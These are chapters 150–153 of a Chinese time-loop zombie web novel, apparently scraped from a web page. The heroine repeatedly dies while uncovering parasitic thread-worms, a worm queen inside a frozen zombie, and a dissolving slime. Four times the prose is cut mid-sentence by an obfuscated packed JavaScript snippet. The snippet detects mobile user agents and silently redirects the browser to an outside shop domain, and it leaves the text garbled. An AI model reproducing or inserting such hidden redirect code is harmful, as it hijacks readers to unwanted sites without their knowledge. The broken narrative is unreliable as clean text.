池遥正在治疗能力者,本想和其他人一起,朝着背后的方向看去,可她突然意识到,那是苏榕所在的方向。 在她说出变异兽三个字后,苏榕毫不犹豫地答应帮忙,他完全笃定自己对付得了数不清的变异兽。 恐怕,众人看到的巨大怪物, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062800|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是苏榕变的。 她遵循了与苏榕的约定,一次都没有朝他的方向看。 日落西山,源源不断的丧尸潮终于看到了尽头。 从凌晨就一直连轴转的池遥和沈观宴二人先行从城墙上离开,回到基地内检查基地内部的情况。 很快,他们遇见了韩厢月与沈观离。 韩厢月利用高等丧尸的能力控制了潜入基地内的所有丧尸,将它们聚集到了一处,只要池遥一声令下,就能立刻杀死它们。 而沈观离则是替苏榕回来传话的。 “入侵基地的变异兽已经被控制住了,应该很快就解决完了。” 听到他的话,池遥终于长舒一口气,长久的疲惫感这才慢慢涌了上来。 “终于......” 她感慨地看向对面的沈观离,对方似有所感,同样看向她,目光格外柔和,似乎透着盈盈水色。 此时已经是晚上八点了。 再过四个小时,就彻底迎来了这一天的结束。 她终于能够完成目标了。 回想这一天之内北方基地遇到的危机,潜入基地内部的丧尸已悉数被韩厢月捕获。 丧尸潮已经到达了尾声,丧尸王也被她亲手杀死。 而基地另一侧的兽潮也被赶来的苏榕解决。 一切似乎都被妥善解决了。 可是,如果按照景点内时间循环的规律,她还要经历好几次循环。 只不过,既然这一次完成了目标,那么之后的循环当中,只要自己能够按照这一次的经验解决所有危机,总会完成目标的。 然而,她的心中却仍旧有些微的不安。 她真的已经把所有隐患全部解决掉了吗? 不知为何,脑海中突然浮现出了林北辰和沈观宴的话。 林北辰召集来的能力者数量似乎并不多,林北辰对此的解释是时间太早,有不少能力者还在睡梦之中。 可是,直到天亮,也没有等到任何迟到的能力者。 那些没来城墙上的能力者都去哪儿了? 不仅如此,在之前的循环中,为何她和沈观离探查的研究所园区内空无一人,研究所在他们毫无察觉的时候发生了什么事? 研究员们都去哪儿了? 桩桩件件,此时的池遥还无法得出答案。 “好奇怪,这么早就有虫子了吗?” 身边的韩厢月突然看向某个方向,好奇地念叨一句。 顺着他的视线望去,池遥看到街道边的墙角,摆放着几个不起眼的圆形小盒,盒子只有手指甲大,在盒子附近,躺着好几只虫子尸体。 这种盒子池遥从前见过几次,是专门用来装有毒的虫饵的诱捕盒,她似乎还是第一次在北方基地见到这个物品。 韩厢月说完这话,就转向一边,没在意这幅景象。 而池遥却直直地盯着地上的虫子,刚刚,不知道是不是错觉,她似乎发现那只虫子动了一下。 或许是心理作用,她只觉得身体某处突然传来一个微弱的痛感,仿佛只是被虫子咬了一口,痛感转瞬即逝,很快就消失了。 “池遥!” 身旁的同伴在叫她的名字了,池遥想回过头,但动作却突然僵住了。 大脑深处传来一阵剧痛,她还没搞清楚原因,就眼前一黑。 再度失去了意识。 150. 选择循环7 【D.不联系任何人,自己独立处理此事】 新一次循环,很快,池遥就夺回了身体控制权。 经历过数次循环,如今在沈家宅邸发现的丧尸已经是众多危机所连带的微小一环,不足为惧,池遥上楼,回到房间里,放松身体休息了一会儿。 之前的数次循环,她一直没时间休息,疲惫不停积累,此时,她累得连思考的力气也没有了。 截止至现在,她经历了大概十次循环,才终于解决了丧尸潮和变异兽潮。 尽管仍旧有其他因素并未解决,但她总算是......解决了一部分危机吧? 就这样,尽管仍旧无法放松,池遥还是小憩了两个小时,在天色彻底亮起之前,离开了沈宅。 走出沈宅大门,池遥朝着居民区走去。 直到现在,她仍没搞清楚自己上一次死亡的原因。 明明已经解决了丧尸潮和兽潮,怎么就突然死了呢? 想了又想,毫无头绪。 过了不久,池遥终于来到了自己的目的地,基地医院。 之前探访居民区的时候,她也途经过这里,虽然发现了医院的异常,却由于选项限制无法进入医院内部勘查,这一次,终于有机会进入医院里看看了。 走进医院大门,池遥的脚步微微一顿。 沈观离昏迷的那段时间,她来过很多次基地医院,医院里的患者数量很少,大厅空空荡荡,只能看到不时的几个人影。 而此时,医院大厅内坐满了人,甚至有抢不到座位的人,靠着墙壁在地板上席地而坐。 池遥从这些人身边走过,观察着这些病患的脸,这些人似乎神志都不太清醒,眼睛半睁,脸色酌红,无力地歪倒在大厅里。 看起来似乎是发烧了。 池遥没有主动出手治疗,大厅里的患者太多了,她一旦展现出治疗能力,无法一次性将这么多人全部治愈。 只不过,为什么会突然出现这么多发烧的病人? 一大群发烧的病人当中,还坐着不少脸色惨白,眼神无光,上吐下泻的病人。 池遥在大厅内走了一圈,把大部分病患都观察了一遍,只觉得这些人的意识似乎都不太清醒,陷入一种恍惚的状态中,奇怪得很。 突然间,她想到了霍云初曾经和她讲过的,这个世界丧尸的起源。 第一批丧尸是由高烧不止的病人们变成的,第二次变异潮中,也是高烧的病人变成了丧尸。 然而,无论是第一次变异,还是第二次变异,似乎都只是普通人变成了丧尸,而池遥观察到,大厅的病患当中,能力者的比例很高。 为了照顾这些大厅内的病人,大厅各处都守着穿白大褂的医生和护士,大部分医护人员忙得脚不沾地,只有一位看上去是负责人的医生还站在原地,指挥其他医生护士工作。 “您好。”池遥礼貌地走上前,“请问今天怎么会有这么多病人,是出什么事了吗?” “闲杂人等别来打扰,没看到我们在忙吗?”负责人蹙起眉,抱怨一声,他还想说更多,身体却突然一僵,眼神惊惧地望向站在她对面,一脸人畜无害的池遥。 他能清楚感受到,自己的后腰处抵着一个尖锐冰冷的物体。 而刀子的另一端则被池遥握在手里。 池遥站在负责人侧面,拥挤而忙碌的大厅里,没人看到她的动作。 “出什么事了?” 池遥歪了歪脑袋,仿佛什么也没有发生似的,开口问了第二遍。 负责人充满恐惧的视线紧盯着对面的池遥,几次想开口,牙齿不停打颤,根本吐不出完整句子。 “小姑娘,你......你.....你先冷静一下......” 他断断续续地说。 “这,这也不是什么,保密的事,我马上就告诉你。” 池遥瞥他一眼,望见对方额头上大颗大颗的汗珠,收回目光,将短刀打了个转,刀背紧贴着手臂,收回到了袖子里。 “这边人太多了,您......您跟我来这边,咱们去办公室说。” 负责人松了口气,慢慢转过身,迈步的时候身形踉跄一下,又狼狈地扶住了身边的墙壁,带着池遥进了一楼走廊。 “这个病也不知道是怎么回事,今天凌晨两三点开始陆陆续续来了好多相同症状的人,情况严重的直接昏迷不醒,被送到病房里了,情况比较轻的就先安置在大厅里,目前还没查出原因,初步诊断是一种新型炎症,作用于大脑。” 大脑? 池遥听得一头雾水,在脑海中将对方的话从头到尾梳理了一遍。 “你们发现的第一例病例是什么人,什么时候?” “第一例病例是快一点的时候被送进医院的,是一群外出刚回基地的能力者。” “他们的病房是哪一间?”池遥问。 “我带你过去。”负责人立刻站起身,带着池遥走出门,上楼。 “这些能力者似乎是固定时间出入基地运输屏蔽仪的,不知道出了什么事,现在都昏迷不醒了。” “屏蔽仪。”池遥在口中轻声念叨出这三个字,没有理解这些人的目的,“为什么要运输屏蔽仪?” “沈家垄断了屏蔽仪生意,其他基地和沈家做屏蔽仪生意,都要基地的能力者把货物运输过去。” 原来如此。 走到二楼一间开着门的病房,负责人指了指房间,不大的病房内,并排放着四张病床,躺着四个昏迷不醒的能力者。 即便如此拥挤,但病床与病床之间仍旧布置了深蓝色的医护帘,把每张病床隔成一个小隔间,站在病房外,只能看到最靠门的患者和其他病床的床尾。 “就是这里了。” 池遥点点头,走进病房。 房间内躺着的四个人皆是昏迷模样,没有对池遥的贸然进入做出任何回应,池遥进入病房后先是在床尾处走了一圈,仔细观察了一番,几人看上去只是脸色苍白,没有其他明显症状,才走到靠门最近的病床前,伸出手,试探着想触碰对方的脸。 突然,她的手颤抖一下,在半空中停住了。 就在刚才,双眼紧闭的病患面颊上的皮肤之下,突然浮现出一个细微的凸起。 仿佛皮肤之下有什么活物在身体中游走,硬生生将皮肉顶出一块,十分诡异。 一时间,池遥有些犹豫,不知道是否该出手治疗。 “嘭!” 一旁的病床上,突然传来了一声闷响。 透过遮挡在病床边的医护帘,池遥看到一个影子慢慢地从病床上坐了起来。 有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068029|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人醒了? 她急于知道这些人患病的原因,忍不住一把拉开了帘子。 拉开的帘子背后,是一个直直坐在床上的能力者,他虽然坐在床上,但一双眼睛却没什么光彩,十分恍惚,脸上的皮肤不知为什么紧紧绷了起来,糊在脸上。 “你醒了吗?” 池遥立刻开口,向他搭话。 听到池遥的声音,床上的人抬起脑袋,眼睛却并未看向池遥,只张开了嘴。 数不清的丝线状虫子伴随着一团团黏液从他口中掉落出来,掉落在洁白的床单和被褥上,窸窸窣窣地扭来扭去,更多的掉落在地板上,动作灵活地爬到病房的各个角落,很快就积聚了一层又一层,光洁的地面到处都是黑漆漆的阴影。 此人的身体仿佛已经被虫子掏空,起初是有虫子不断被吐出,渐渐地,越来越多线状虫主动从他的口腔内爬出来。 很快,病床上,墙壁上,地面上,到处都是厚厚的虫子。 池遥定在原地,动都不敢动,大脑一片空白。 她胆子不算很大,唯一的优点就是无论遇到多么恐怖的事物,都不会尖叫出声,只会面无表情,看似毫无波动,实则已经僵在原地吓傻了。 这都是什么啊? 她不敢动,也动弹不得,仿佛连骨头都被冻结在原地,浑身都僵硬了,恨不得立刻变成一具尸体。眼前的一切逐渐被密密麻麻的线条状虫子填满。 脚踝传来微弱的痛感,可此时池遥根本感受不到,她只觉得浑身发冷,恐惧占据了上风,不知过了多久,她眼前一黑,结束了这个恐怖的循环。 【加载完成】 太恐怖了。 那是什么啊?北方基地怎么会有这种东西? 直到在温暖的客房恢复意识,池遥也完全冷静不下来,脑海中反复回放着从患者嘴里爬出的虫子,越想越觉得浑身恶寒,又想到上一个循环里的自己死状说不定和床上的病患差不多,死后也会有虫子从自己的嘴里爬出来,顿时一阵恶心,觉得自己不干净了,更加绝望。 和密密麻麻的虫子比起来,她忽然觉得丧尸和变异兽都变得眉清目秀了起来,自己和韩厢月被串在一起的离谱结局也好接受了。 脑子里乱糟糟的一团,根本理不清,幸好此时她的身体不受意识控制,按部就班走完了所有流程,再次停在了楼梯上。 【你在沈家宅邸竟然发现了丧尸的存在!接下来你该怎么做?】 【A.立即联系沈观离,告知此事】 【B.立即联系沈观宴,告知此事】 【C.立即联系韩厢月,告知此事】 【D.不联系任何人,自己独立处理此事】 眼前出现的问题和选项强制将池遥的意识拉回了现实。 理智上,池遥知道自己应该再去一次医院,搞清楚能力者身体里的虫子究竟为何物,可她真的不想再去了! 如果可以的话,她再也不想去医院了!她已经被吓出心理阴影了。 至少这一次循环,她实在不想再看到大片大片的线形虫了。 那么,此时要去哪里呢? 池遥脑海中回想起四位能力者离开基地的原因,是去运输沈家垄断的屏蔽仪。 说不定,去生产屏蔽仪的地下实验室,能找到什么线索? 151. 选择循环8 凌晨的地下实验室里,只有池遥一个人。 算上冷柜中被冰冻住的高等丧尸,勉强不算孤独。 由于此处是能力屏蔽仪的生产地,因此,池遥的能力自她走进这间实验室后就失效了,没有抽取生机的能力,她比过去警惕了不少。 她在心中长叹一口气,在实验室内翻找一圈,却一无所获。 最终,池遥将目光投向堆放在地上的屏蔽仪罐子。 经由能力者们运送出去一批后,实验室里的罐子数量不多,池遥思考了片刻,从空间内找出一把刀子,拿起一个罐子,用小刀撬开了密封罐外部的铁皮。 霍云初曾经给池遥展示过屏蔽仪内部的东西,她丝毫不意外会看到一块腐臭的血肉,然而,与之前见过的屏蔽仪不同,她手里的密封罐内,一条黑色的线状虫盘踞在血肉之中,它外形与蚯蚓相似,但却比蚯蚓细得多,乍一看像一条细线。 池遥手中的刀尖第一时间捅入罐子,将罐中的虫子捣得粉碎,又反复用刀尖翻动罐中的碎肉,反复检查,罐中只有一条线形虫。 直到手中的罐子里只剩一滩被搅得不成型的肉酱,池遥才放下罐子,目光停在房间内剩余的数十个罐子之上。 接下来,她不厌其烦地拆开了房间内剩下的所有屏蔽仪罐子,不出所料,每一个罐子里,都至少有一条虫子,放得时间最久的罐子里甚至有好几条线形虫。 池遥强忍恶心,把所有线形虫都用刀子解决掉,抬起头,看向冷柜中的高等丧尸。 能力屏蔽仪罐子里装着的都是从丧尸身上割下来的肉块,一直都是密封状态,如果罐子里有线状虫,一定是从高等丧尸身上带出来的。 高等丧尸被冻在沈家地下室中已经有段时间了,一直被放置在冷柜中,难不成,虫子是从丧尸体内出现的? 想到这里,池遥深吸一口气,做好心理准备,操作实验室里的设备,打开柜门,将高等丧尸的身体从冷柜里拖了出来。 高等丧尸并未死亡,池遥此时无法使用能力,只能把高等丧尸平放在实验室地上,等待它在温度正常的实验室里恢复意识。 说不定这只丧尸可以解答她的疑惑。 然而,过了好一会儿,高等丧尸却并未睁眼,而是张开了嘴。 这一次,它平躺着,池遥眼睁睁看着,无数线形虫从丧尸口中爬了出来,鼻孔和眼眶中也有线形虫爬出。 果然,这些虫子原本寄生在高等丧尸体内,被分装进屏蔽仪罐子内,因此随着屏蔽仪罐子的运输,被散播到基地各处,甚至同样寄生了负责运输屏蔽仪的能力者们。 池遥这一次有了准备,动作迅速地挥刀杀死一大片虫子,余光瞥向地上的高等丧尸。 奇怪,这只高等丧尸明明浑身都被虫子寄生,但却仍旧显现出活着的生命体征。 医院里的病患也是,只显示出昏迷不醒的征兆,实际上身体各处都已经被虫子填满,无药可救。 从丧尸口中爬出的线形虫太多了,再这样下去,池遥恐怕会再一次死在虫群中,情急之下,她用力一脚踢起地上的高等丧尸,快准狠地将丧尸踹回冷柜里,操作设备,关上了柜门。 紧接着,她几下杀光地面上的虫子,抬头朝冷柜内看去。 在低温环境下,原本十分活跃,从丧尸口中蠕动爬出的线状虫突然放缓了活动,蠕动频率也降低了不少,看来,低温似乎会限制它们的行动。 过了一段时间,高等丧尸的身体再度被冻得僵硬,池遥再次打开了柜门,身体凑在冷柜前,找出一把锋利的宽刀,将丧尸开膛破肚。 她也是第一次解剖人形生物,即便手下的并非人类,只是丧尸,也不由地一阵阵发抖,她用另一只手按在握刀的手上,慢慢剖开了丧尸的腹部。 与人类的身体结构不同,丧尸本质上是已死的尸体,开膛后,除却聚拢成一大团一大团的线形虫,能看到的是早就萎缩,不再工作的内脏。 而丧尸本该停跳的心脏,却在规律地一翕一张,场景极为诡异。 池遥蹙眉挥刀,切开丧尸的心脏,动作却僵住了。 在丧尸的心脏内部,一条血红色的肥硕肉虫就挤在丧尸的心脏内,占据了全部空间,而池遥看到心脏形如跳动的动静,则是肉虫在心脏内不停蠕动,造成的错觉。 不时有体型极小的线形虫从肉虫身下缓慢蠕动离开,仔细看去,心脏内壁上,涂抹着一层比米粒还要微小很多倍的虫卵,高等丧尸的其他内脏里也落满了虫卵。 俨然已经变成了线形虫的巢穴。 柜门打开时间久了,丧尸的身体渐渐回温,池遥立刻关闭柜门,隔着一层透明的冷柜,驻足观察。 如果她没猜错的话,盘踞在心室里的肉虫就是线形虫的虫王,或者虫母,有强大的繁殖能力,一旦高等丧尸回归温暖环境,这只虫母就会快速繁殖,繁殖出来的线形虫就会顺着口腔,鼻孔等通道爬出巢穴,寄生在其他人类体内。 若是要根除这些虫子,恐怕要从最大的那一只下手。 这么想着,池遥再次打开柜门,持刀狠狠捅进红色肉虫体内,然而,这只肉虫却没有立刻死亡,被刺破的伤口喷出一股腐臭的汁液,溅在池遥的手背上。 池遥立刻擦掉手背上的汁液,可一接触却觉得不对,自己手背上的液体看上去只是一团黏液,可擦拭起来却是会爆浆的触感。 是虫卵。 强化后的视力渐渐看清了手背上极其微小的虫卵,虫卵十分脆弱,一旦被挤破,就出现了一条比头发丝还细的线形虫,在她的手背上游走,不知从什么地方钻进了她的身体。 很快,池遥失去了意识。 【加载完成】 这一次,池遥刚到客房门口,眼前就出现了改变后的选项。 【B.沈观宴房间】 是她进入景点后进行的第一个选择。 这样看来,恐怕她剩余的循环次数不多了。 沈观宴这个时间点并不在房间里,池遥直奔沈观离房间,拉起沈观离就去找沈观宴和韩厢月两人,线形虫的发现一定要立刻告诉其他伙伴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078139|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快,四人一同聚在地下实验室中,在池遥的提醒下,沈观宴打开了几个屏蔽仪罐子,果然看到了里面的线形虫。 与池遥不同,沈观宴没有立刻杀掉虫子,而是从吊坠中找出一枚打火机点燃,缓慢凑近罐子。 一感受到火焰的热度,线形虫立刻瑟缩起来,明显表现出对火焰的排斥。 “这种虫子怕火。”沈观宴总结完,又找出其他药剂和溶液,统统尝试了一遍。 最终发现,这种线形虫无法被普通的杀虫剂消灭掉,酸碱溶液的效果也不明显。 只有火烧最有效。 之后,在池遥的指导之下,沈观宴和沈观离两人打开冰柜,取出高等丧尸,剖开高等丧尸的身体,看到了寄生在高等丧尸体内的肥大肉虫。 沈观宴第一时间点燃了高等丧尸的身体。 火一烧起来,寄生在高等丧尸体内,行动迅速的线形虫纷纷逃跑,被四人持刀剿杀,而高等丧尸心脏内的肉虫因为体形太大,拼命蠕动,却根本无法逃出高等丧尸体内。 没过多久,肥硕的虫母彻底被烧死,于此同时,实验室地面上四处逃窜的其他线形虫突然同时不动了,跟随着虫母一起死亡。 “什么情况?”沈观宴撬开一旁的屏蔽仪罐子,果然,罐子内的线形虫一动不动,已经失去了生命体征。 此时,整个实验室内的所有线形虫,都随着虫母的死亡,跟随着一同死掉了。 池遥这才松了口气。 第一次看到觉得十分棘手的虫子,现在终于找到了解决措施。 之后,她又去到了医院,询问有关那四位被线形虫寄生的能力者的事。 “你是说那四个昏迷不醒被送来的能力者吗?” 负责人神色有些低落。 “不知道生了什么病,怎么都醒不过来。不到一个小时之前,四个人突然同时心脏停跳,抢救了几十分钟也没有效果,至死也没查出来是什么问题。” “除了这些人,凌晨还来了不少高烧和上吐下泻的病患,都安置在大厅里,也在那个时候死去了,太诡异了,到底是什么病,怎么会有那么多人在同一时刻意外死亡呢?” “你确定是同一时间吗?”池遥再次确认。 “整个大厅的病人绝对是在同一时间死亡的,当时大厅里除了我还有不少医护人员在,大家都能证明这一点。真是可惜了,这些患者里有不少是能力者,死了这么一大批能力者,真是基地的重大损失啊......” 听了负责人的话,池遥点点头,心中有了底。 看来高等丧尸体内的虫母同样能够影响能力者体内的线形虫。 只要杀死虫母,就能解决所有线形虫。 池遥彻底放下心,长叹一口气。 下一次循环中,自己第一时间放火烧掉地下实验室,铲除所有线形虫,说不定就能保住在医院惨死的患者们,之后她再和其他人一同合作解决丧尸潮和变异兽潮,应该就能彻底守住北方基地了吧? 她渐渐对自己有了信心。 152. 选择循环9 【加载完成】 新的循环开始,身体一恢复自由,池遥立刻带着其他几人来到地下实验室,放火烧掉了实验室里的丧尸。 沈观宴等人虽然无法理解她的行为,但是出于对她的信任,没有阻拦。 实验室里的温度不高,火焰没有蔓延,燃烧了一会儿就逐渐减弱,池遥走到一旁的屏蔽仪前,撬开了屏蔽仪罐子。 罐中的线形虫一动不动,失去了生命体征,看来高等丧尸体内的肉虫已经被她烧掉了。 她这才松了一口气,等实验室里的火焰熄灭,才看向身旁的几人。 “我有很急的事和你们说。” 她将丧尸潮和兽潮的事毫无保留地告诉了身旁的三人,几人立刻行动起来,按照池遥的指示行动。 解决了虫潮,只要解决接下来的兽潮和丧尸潮,她就能达成目标了。 池遥带沈观宴和沈观离二人来到了城墙上,过了一会儿,林北辰也带领能力者们上了城墙,然而,这一次,他身后能力者的数量却和前几次循环时没有差别。 “怎么只来了这些能力者?”沈观宴不由地蹙眉。 池遥也跟着蹙起眉头。 情况不对,她一直以为,是因为线形虫寄生了许多能力者,才导致能力者数量不足,但眼下已经解决了虫潮,按理来说,除了最初的四位能力者,已经不会有人再遭受虫潮侵袭了,林北辰身后的能力者数量却仍没有发生变化。 是不是医院里出了什么事? 想到这里,池遥立刻看向沈观宴,开口道。 “我得去居民区一趟,马上回来。” 说完,她立刻下了城墙,朝着居民区跑去。 医院距离基地出入口不算很远,二十分钟后,池遥出现在了医院门口。 这一次,医院内又恢复了记忆中空空荡荡的样子,池遥在心中暗暗松了口气,医院这种地方,还是冷清一点比较好。 “您好!”她来到咨询台前,问坐在咨询台后的医生,“我听说不久前送来了四个昏迷不醒的能力者,他们现在怎么样了?” 算算时间,这四位被线形虫寄生的能力者应该刚死亡不久。 “您是从哪里得知的消息?确定是送到这里了吗?今晚没有被送来的病人啊。” “诶?” 这下,惊讶的人变成了池遥。 她又抬手,看了一眼手表。 此时将近凌晨两点,按理来说,四位能力者应该在十二点多就被送进医院了。 如果他们不在医院,还会在哪儿? 出了什么变数? 她又再三向医院的医生确认,发现四位能力者是真的没有进入医院后,才转身离开。 原本该出现在医院的患者没有出现,原本该活下来的能力者也消息不明,到底是哪里还存在问题? 难道,还有她没发现的细节吗? 池遥苦恼地深吸一口气,双手穿插在发间,狠狠揪了一把头发。 在前几次循环中,大厅内的医生给她讲了这四名能力者的身份,他们是受命出基地运输能力屏蔽仪的能力者,夜里刚刚从外面回到基地。 那么,他们究竟死在了什么地方? 心中焦躁不安,池遥捂住胸口,感受着跳动的心跳,深吸一口气。 活要见人,死要见尸,她总得找到那四个人的尸体才能安心。 这么想着,池遥快步朝着基地出入口的方向赶去。 这四位能力者若是从基地外回来的,一定经过了基地入口,说不定,询问基地入口处的人能有所发现。 很快,她又回到了城墙上。 拜拥挤在入口前的丧尸潮所赐,池遥此时完全无法去到基地入口处查看情况,只能寄希望于丧尸潮早点结束。 这边的线索断了,她只能联系留在基地内的韩厢月,将四人的特征告诉韩厢月,拜托他帮忙寻找,顺便关注一下基地有没有发生奇怪的事。 有了先前的经验,池遥再次利用道具杀死霍云初,苏榕击退兽潮,日暮西山的时候,丧尸潮终于被清理得干干净净。 “总算结束了!”沈观宴长舒一口气,“韩厢月估计已经把基地里的丧尸全揪出来了,我们现在回去找他。” “我还有其他事想做,你先回去吧,我一会儿就过去。” 池遥支开沈观宴,总算找到机会检查基地入口处了。 只是,丧尸潮入侵基地时,无数丧尸挤在入口前,恐怕就算有关于这四人的线索,也找不到了。 池遥不抱希望地来到基地入口处,四处观察。 基地入口前的地面,干净得有些诡异。 这一天,他们不知道杀死了多少只丧尸,此时基地外的地面上到处都是令人作呕的尸体,残肢,飞溅得四处都是的尸体组织,放眼望去,几乎无处落脚。 然而,在这样的环境之中,基地入口前的一小块地面却异常干净。 怎么会这样? 池遥蹲下来,仔细搜寻,很快,她发现了地面上有一滩半透明,质地偏白的黏液。 这滩黏液似乎有意识一般,正在地面上缓慢地蠕动,所过之处,地面上的血迹,碎肉消失得一干二净。 这又是什么东西? 本能告诉池遥,不该对这种东西抱有过多好奇心,她后退几步,观察了一会儿,才通过入口回到基地内,沿着入口处回居民区的必经之路,一步一步走去。 这一次,她有心观察,果然又在路上发现了几滩白色黏液。 不仅如此,她还在地上找到了不少上下装和鞋子,这其中就有那四个能力者身上所穿的衣服和鞋子。 不知道他们经历了什么。 回到基地,池遥再次询问韩厢月四人的情况,韩厢月摇摇头,告诉池遥这几个人出基地运输能力屏蔽仪去了,还没有回到基地。 池遥这下明白了。 因为这四人几天前离开了基地,又是深夜回到基地后立刻死亡,因此,所有人只认为他们是在基地外还没回来,四人的消失并没有造成任何影响。 “不过,也的确发生了一些怪事。”韩厢月叹了口气,“林北辰召集基地里的能力者的时候,有不少能力者没有到场,当时大家都没当回事,以为他们在睡梦中没听到对讲机的消息。” “但是,消灭丧尸潮后,林北辰去这些人家里兴师问罪,却发现这些人一接到对讲机的通知就立刻出门了。” “只是,不知道为什么,这些人出了家门,就不知道去哪儿了,林北辰问了和他们有联系的人,都不知道他们去了哪儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081539|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也联系不上人,这些人就这么凭空消失了。” 凭空消失? 池遥皱紧了眉头。 这又是什么情况?难道除了丧尸潮,兽潮,虫潮之外,还有其他因素在暗中影响基地吗? 可她大脑一片空白,不仅如此,忙碌了一天,她只觉得自己喉咙干渴得仿佛要烧起来了。 “先不说这个了,有水吗?” 韩厢月递给她一杯水,池遥一饮而尽,然而,不知为何,喝了一大杯水却仍旧不觉得解渴,喉咙反而烧得更厉害了。 “还有吗?” 她举着空杯,看向韩厢月,却对上了韩厢月惊恐的目光。 “池遥!你......” 不等韩厢月说完,一声清脆的响声打断了他。 “啪嗒!” 池遥手里的杯子摔在地上,摔碎了。 什么情况,杯子不是被她握在手里吗? 池遥的目光移到自己的手上,悚然一惊。 她看不到自己的手了。 不止是手,她的袖管也迅速空了下去,只剩下淅淅沥沥的液体从袖管里流出。 她眼睁睁看着自己的身体在几秒之内彻底溶解。 最后,失去了意识。 【加载完成】 一阵惊惧中,池遥再度恢复了意识。 身体在房间内翻翻找找,很快,就握住了门把手,她的眼前出现了新的选项。 【D.留在房间里,哪儿也不去】 她再次恢复了自由。 看来短时间内,自己是无法离开房间了。 循环了不知多少次,池遥也陷入极度疲惫的状态,上一次的死亡更是给她造成了不小的打击,一头栽倒在床上。 躺在床上静静放空了一会儿,池遥打起精神,爬起来,来到房间门口,握住门把手。 【接下来打算怎么做呢?】 新的问题出现在眼前。 【A.离开房间】 【B.离开房间】 【C.离开房间】 【D.离开房间】 看来系统是铁了心不让她出门了。 池遥只能放弃外出,重新躺回床上,一边休息,一边在脑海中整理新线索。 上一次,重新去到医院,她才发现,运输能力屏蔽仪的四个人,并未按照自己的预料来到医院。 还有,这次在基地入口附近,她发现了地上会自行蠕动的白色黏液,或许是某种菌类?她也不知道。 最为诡异的是,附近的地上,乱七八糟丢弃了很多上衣,裤子,以及鞋子。 包括四个被寄生的人的衣物。 可是,回想一下上一次自己的死状,池遥又觉得浑身发寒,只能强迫自己不停回忆当时的所见,感受,给自己脱敏。 她看得清清楚楚,自己的身体好端端的突然溶化了。 融化成一滩水,随后就失去了意识。 继续向后推断,她的身体彻底溶化成水,衣物自然孤零零地留在原地了。 想到这里,池遥心下一惊。,她至从基地入口走回居民区的一路少见到了十几件外套。 如果每一套衣物代表一个离奇死亡的受害者的话....... 她不愿再想。 153. 选择循环10 池遥在房间里一觉睡到中午,紧绷的精神得到缓解,又去房间门前尝试开门,眼前再次弹出熟悉的文字。 【接下来打算怎么做呢?】 【A.离开房间】 【B.离开房间】 【C.离开房间】 【D.离开房间】 她重重地叹了口气。 这一次,她该不会一直在房间里度过二十四个小时吧? 窗外是沈家的庭院,庭院内草木茂盛,装潢典雅,佣人在庭院里进进出出,一派岁月静好的模样。 池遥靠在窗边,盯着窗外的景色出神,视线却透过窗户,盯紧了窗外的某一点。 庭院内,被修建得整整齐齐的观景植物下,露出了一小块白色的影子。 一块不起眼的白色黏液,正沿着泥土缓慢蠕动。 池遥这才反应过来。 她被上一次的死亡震慑住,一直在回想自己身体溶解的原因,却忘记了眼前的东西。 这些会动的白色黏液究竟是什么东西?和北方基地面临的危机有关吗? 她仍旧想不通。 除了上一次循环,之前的十几次循环里,她从未见过这种白色黏液,而上一次在基地入口看到白色黏液后,就在不远处见到了那些溶解的人残留的衣物。 这些白色黏液,和那些突然溶解消失的人,是否有关系呢? 突然,房门外走廊里的喧哗声打断了她的思考,她听到了佣人们嘈杂的脚步声,似乎在走廊内慌不择路地躲避什么。 “那是什么东西啊?” “快跑!” “沈家怎么会出现这种东西!” 脚步声中伴有佣人们恐惧的尖叫和抱怨声,池遥立刻握住门把手,想要开门查看情况。 【接下来打算怎么做呢?】 【A.离开房间】 【B.离开房间】 【C.离开房间】 【D.离开房间】 就连这种情况也不让她出门吗? 池遥放下手,一言不发地回到桌边坐下。 算了,不和系统硬碰硬,不出去就不出去吧。 